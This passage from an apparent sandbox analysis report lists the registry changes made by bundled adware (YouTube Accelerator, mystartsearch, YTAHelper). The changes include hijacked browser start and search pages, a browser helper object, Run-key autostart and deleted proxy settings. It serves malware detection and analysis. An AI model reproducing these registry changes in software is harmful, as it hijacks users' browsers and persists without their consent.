C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FE5.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA4A0.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI5E49.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI31E.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIFB70.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSIA55C.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabFA36.tmp (57 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 (328 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI9015.tmp (1281 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\MSI8FF5.tmp (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarFA37.tmp (2784 bytes)

Registry activity

The process BaofengUpdate.exe:200 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstall"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearchÃ¬Ââ‚¬Ãˆâ€˜ÃˆÂµ"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424743303&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process BaofengUpdate.exe:1872 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YTAHelper.exe:1436 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\GOOBZO\YTAHelper]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "ED 42 D3 D2 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"YTAHEXELOCATION" = "%Program Files% (x86)\YTAHelper"
"Version" = "2.6.0.230"
"UserId" = "78116d2d-d3b5-4062-b3b8-b2539525da70"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YTAHelper]
"Aff" = "smtycl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\GOOBZO\YTAHelper]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3832 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerProdÃ‰Â"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:2496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process GLBF517.tmp:1872 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1424743289"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1424743289"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "133"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_133)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process YouTubeAcceleratorService.exe:2640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

The process YouTubeAcceleratorService.exe:2448 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKeC"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1424743306"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424743306"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "05 3D BB D4 D5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "05 3D BB D4 D5 4F D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "f75ccf11-a920-4df5-85cd-a4f65d27cbf9"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "LlonLfTh"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "5af2Sl0a"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "Nq]Y"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "8a7f8cc0-b6a0-4d37-a17c-90a0a499110d"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:1192 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

The process YouTubeAcceleratorService.exe:3668 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

